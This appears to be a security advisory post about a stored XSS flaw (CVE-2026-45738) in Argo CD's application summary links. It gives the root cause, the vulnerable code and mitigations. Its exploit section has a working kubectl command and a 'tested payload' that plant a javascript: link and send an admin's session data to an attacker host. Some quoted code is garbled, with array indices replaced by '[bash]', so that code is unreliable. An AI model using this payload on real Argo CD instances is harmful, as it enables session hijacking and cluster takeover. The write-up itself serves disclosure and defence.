Listen to this Post
How CVE-2026-45738 Works
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to versions 3.2.12, 3.3.10, and 3.4.2, a stored cross-site scripting (XSS) vulnerability existed in the application summary UI component.
Users with application write access—typically developers—can set annotations on any Argo CD Application using the `link.argocd.argoproj.io/` key. These annotation values are rendered in the Summary tab’s URLs section as anchor (<a href>) elements.
The vulnerable code resides in ui/src/app/applications/components/application-summary/application-summary.tsx. The annotation value is split on the pipe (|) character: `parts
` becomes the visible link label, and `parts[bash]` becomes the `href` attribute. Crucially, no URL validation is performed on the `href` value—unlike the protected `ApplicationURLs` component which does validate and block `javascript:` URIs.
This allows an attacker to craft an annotation like:
<h2 style="color: blue;">`GitHub Repo|javascript:alert(document.cookie)`</h2>
The UI renders a link that appears as "GitHub Repo" but points to a `javascript:` URI. When a higher-privileged user (e.g., an admin) clicks this link, the JavaScript executes in the Argo CD origin context within the admin's authenticated session.
Because the injected script runs with the admin's same-origin credentials, it can make authenticated `fetch()` calls to all Argo CD APIs, exfiltrate session data, and perform privileged actions—effectively enabling developer-to-admin privilege escalation. The default Content Security Policy (CSP) in Argo CD provides no `script-src` or `connect-src` restrictions, offering zero XSS mitigation. React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19).
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: ....... Argo CD
Version: ........ <3.2.12, <3.3.10, <3.4.2
Vulnerability :...... Stored XSS
Severity: ....... High (7.3 CVSS)
date: .......... 2026-07-15
<h2 style="color: blue;">Prediction: ..... Patch already available</h2>
<h2 style="color: blue;">What Undercode Say: Analytics</h2>
<h2 style="color: blue;">CVSS Score: 7.3 (High) — Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N`</h2>
EPSS Probability: 0.04% (12th percentile) — low likelihood of active exploitation in the wild
<h2 style="color: blue;">Exploit Price Estimate: $0–$5k (as of July 2026)</h2>
CTI Interest Score: 0.15+ — low to moderate attacker interest
<h2 style="color: blue;">Affected Component: `ui/src/app/applications/components/application-summary/application-summary.tsx`</h2>
<h2 style="color: blue;">Vulnerable Sink (Line 277):</h2>
[bash]
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[bash] : parts[bash]} target='_blank'>
{parts[bash]}
</a>
Root Cause: No call to `isValidURL()` — unlike the protected `ApplicationURLs` component (application-urls.tsx:72,80) which does validate and block javascript:.
CSP Bypass: ArgoCD’s default CSP is `frame-ancestors ‘self’ only` — no script-src, no connect-src, no `default-src` — providing zero XSS execution mitigation.
ATT&CK Mapping: T1059.007 (Command and Scripting Interpreter: JavaScript) and T1531 (Account Access Removal).
Exploit
Prerequisites:
- Developer role with application write access (RBAC:
p, role:developer, applications, , , allow)
Step 1 — Set malicious annotation as developer:
kubectl annotate application <app-name> -n argocd \
'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://attacker.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'
Step 2 — Admin opens the Summary tab of the annotated application and clicks the seemingly legitimate link (e.g., “GitHub Repo”).
Step 3 — JavaScript executes at the Argo CD origin, exfiltrating admin session data via an out-of-band HTTP request.
Step 4 — Attacker receives the base64-encoded admin session data:
{"iss":"argocd","loggedIn":true,"username":"admin"}
Tested Payload (Burp Collaborator):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
.then(r => r.json())
.then(d => fetch("https://attacker.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))
Protection
- Upgrade immediately to patched versions: 3.2.12, 3.3.10, or 3.4.2 (or later).
- Restrict annotation write permissions — limit which users can set `link.argocd.argoproj.io/` annotations via RBAC.
- Implement a validating admission webhook to block or sanitize annotations containing `javascript:` or other dangerous URI schemes.
- Strengthen Content Security Policy — add `script-src ‘self’` and `connect-src ‘self’` to mitigate XSS impact.
5. Audit existing annotations for suspicious `link.argocd.argoproj.io/` values:
kubectl get applications -n argocd -o json | jq '.items[] | select(.metadata.annotations | keys | any(contains("link.argocd.argoproj.io"))) | {name: .metadata.name, annotations: .metadata.annotations}'
6. Monitor for `javascript:` URI patterns in Argo CD application manifests and audit logs.
Impact
- Privilege Escalation: A developer with application write access can escalate to full cluster admin privileges by hijacking an admin’s authenticated session.
- Data Exfiltration: Attackers can exfiltrate sensitive session data, tokens, and cluster credentials via authenticated API calls.
- Cluster Compromise: With admin privileges, an attacker can deploy malicious workloads, access secrets, and compromise the entire Kubernetes cluster.
- Supply Chain Risk: As Argo CD is a core GitOps component, this vulnerability can be used to inject backdoors into application delivery pipelines.
- Lateral Movement: The injected JavaScript can leverage the admin’s session to interact with other internal services and escalate across environments.
- Integrity Loss: The vulnerability directly impacts the integrity of the Argo CD platform and the Kubernetes resources it manages.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
